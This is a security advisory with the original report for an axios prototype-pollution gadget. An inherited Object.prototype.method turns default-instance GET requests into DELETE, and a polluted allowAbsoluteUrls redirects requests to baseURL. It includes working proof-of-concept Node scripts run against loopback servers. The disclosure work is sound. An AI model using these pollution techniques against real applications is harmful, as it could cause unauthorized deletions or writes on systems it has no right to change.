CVE-2026-101902

## Summary Axios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. ## Impact In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes. Method aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path. ## Affected Functionality Affected: - Default axios instance calls: `axios.request({ url })`. - Callable shorthand: `axios({ url })`. - Requests where no own `config.method` is provided. Not affected in the confirmed method PoC: - `axios.get(url)` and other method aliases. - `axios.request({ url, method: 'GET' })`. - `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`. ## Technical Details `lib/core/Axios.js` sets the request method with: ```js config.method = (config.method || this.defaults.method || 'get').toLowerCase(); ``` `mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value. Local verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`. ## Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.method = 'DELETE'; try { await axios.request({ url: 'http://127.0.0.1:<port>/resource' }); } finally { delete Object.prototype.method; } ``` Expected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided. ## Workarounds Use explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible. <details> <summary><h3>Original report</h3></summary> ### Summary Axios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`. Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior. This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process. ### Details The vulnerable fallback read is in `lib/core/Axios.js`: ```js // Set config.allowAbsoluteUrls if (config.allowAbsoluteUrls !== undefined) { // do nothing } else if (this.defaults.allowAbsoluteUrls !== undefined) { config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls; } else { config.allowAbsoluteUrls = true; } // Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase(); ``` The merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`: ```js const config = Object.create(null); ``` Therefore, when the caller does not provide `config.method`, the fallback becomes: ```js this.defaults.method ``` The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method. The same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`. ### Proof of Concept #### Access and Attack Conditions No admin access is required for Axios itself. This is a library-level gadget. The attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior. Required condition: ```text Some other bug or unsafe merge path in the application must allow Object.prototype pollution. ``` What Axios contributes: ```text Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback. ``` What Axios does not do: ```text Axios does not create Object.prototype pollution by itself. ``` Affected usage: ```js axios.request({ url }); axios({ url }); ``` Not affected in the confirmed PoC: ```js axios.get(url); axios.request({ url, method: "GET" }); axios.create().request({ url }); ``` #### Reproduction Steps 1. Create a clean test directory and install Axios `1.17.0`: ```powershell mkdir axios-validation cd axios-validation npm init -y npm install axios@1.17.0 --no-audit --no-fund ``` 2. Save the method override PoC below as: ```text validate-prototype-method-gadget.mjs ``` 3. Run the PoC: ```powershell node validate-prototype-method-gadget.mjs ``` 4. Confirm that the output shows: ```text defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED ``` 5. This proves that after `Object.prototype.method = "DELETE"`, default-instance calls that omit an explicit method are sent as `DELETE`. #### What the Method PoC Script Does The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting: ```js Object.prototype.method = "DELETE"; ``` While that pollution is active, the script sends five Axios requests: ```js axios.request({ url }); // expected vulnerable path axios({ url }); // expected vulnerable shorthand path axios.get(url); // expected safe alias path axios.request({ url, method: "GET" }); // expected safe explicit-method path axios.create().request({ url }); // expected safe isolated-instance path ``` The script then deletes the polluted property: ```js delete Object.prototype.method; ``` Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`. #### Method Override PoC Create `validate-prototype-method-gadget.mjs`: ```js import http from "node:http"; import axios from "axios"; async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; } async function runRequest(label, requestFn) { const hits = []; const server = http.createServer((req, res) => { hits.push({ method: req.method, url: req.url, }); res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify({ ok: true })); }); const port = await listen(server); const url = `http://127.0.0.1:${port}/${label}`; let status = "completed"; let error = ""; try { await requestFn(url); } catch (err) { status = "error"; error = err?.message || String(err); } server.close(); return { label, status, error, hits }; } const results = []; Object.prototype.method = "DELETE"; try { results.push(await runRequest("default-request-no-method", (url) => axios.request({ url }))); results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url }))); results.push(await runRequest("default-get-alias", (url) => axios.get(url))); results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" }))); const instance = axios.create(); results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url }))); } finally { delete Object.prototype.method; } const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || ""; const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || ""; const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || ""; const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || ""; const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || ""; console.log(`axiosVersion=${axios.VERSION}`); console.log(`results=${JSON.stringify(results)}`); console.log(`defaultRequestMethod=${defaultRequestMethod}`); console.log(`defaultShorthandMethod=${defaultShorthandMethod}`); console.log(`getAliasMethod=${getAliasMethod}`); console.log(`explicitGetMethod=${explicitGetMethod}`); console.log(`createdInstanceMethod=${createdInstanceMethod}`); const confirmed = defaultRequestMethod === "DELETE" && defaultShorthandMethod === "DELETE" && getAliasMethod === "GET" && explicitGetMethod === "GET" && createdInstanceMethod === "GET"; console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED"); process.exitCode = confirmed ? 0 : 1; ``` Run: ```powershell node validate-prototype-method-gadget.mjs ``` Observed result: ```text axiosVersion=1.17.0 defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED ``` The local server received: ```text axios.request({ url }) -> DELETE axios({ url }) -> DELETE axios.get(url) -> GET axios.request({ url, method:"GET" }) -> GET axios.create().request({ url }) -> GET ``` This confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths. #### Supporting `allowAbsoluteUrls` Gadget Evidence The same inherited-property issue affects `allowAbsoluteUrls`. Create `validate-prototype-allowabsoluteurls-gadget.mjs`: ```js import http from "node:http"; import axios from "axios"; async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; } async function runCase(label, requestFn) { const baseHits = []; const absoluteHits = []; const baseServer = http.createServer((req, res) => { baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("base"); }); const absoluteServer = http.createServer((req, res) => { absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("absolute"); }); const basePort = await listen(baseServer); const absolutePort = await listen(absoluteServer); try { await requestFn({ baseURL: `http://127.0.0.1:${basePort}/api`, url: `http://127.0.0.1:${absolutePort}/absolute-path`, }); } catch {} baseServer.close(); absoluteServer.close(); return { label, baseHits, absoluteHits }; } const results = []; results.push(await runCase("baseline-no-pollution", (config) => axios.request(config))); Object.prototype.allowAbsoluteUrls = false; try { results.push(await runCase("polluted-default-request", (config) => axios.request(config))); const instance = axios.create(); results.push(await runCase("polluted-created-instance", (config) => instance.request(config))); } finally { delete Object.prototype.allowAbsoluteUrls; } console.log(`axiosVersion=${axios.VERSION}`); console.log(`results=${JSON.stringify(results)}`); ``` Observed result: ```text axiosVersion=1.17.0 baselineUsedAbsolute=true pollutedDefaultUsedBase=true pollutedInstanceUsedAbsolute=true RESULT: CONFIRMED ``` Without pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected. ### Impact This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process. If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method: - `axios.request({ url })` - `axios({ url })` This can turn an expected safe default `GET` request into a state-changing method such as: - `DELETE` - `POST` - `PUT` - `PATCH` Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant. The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path. </details> ---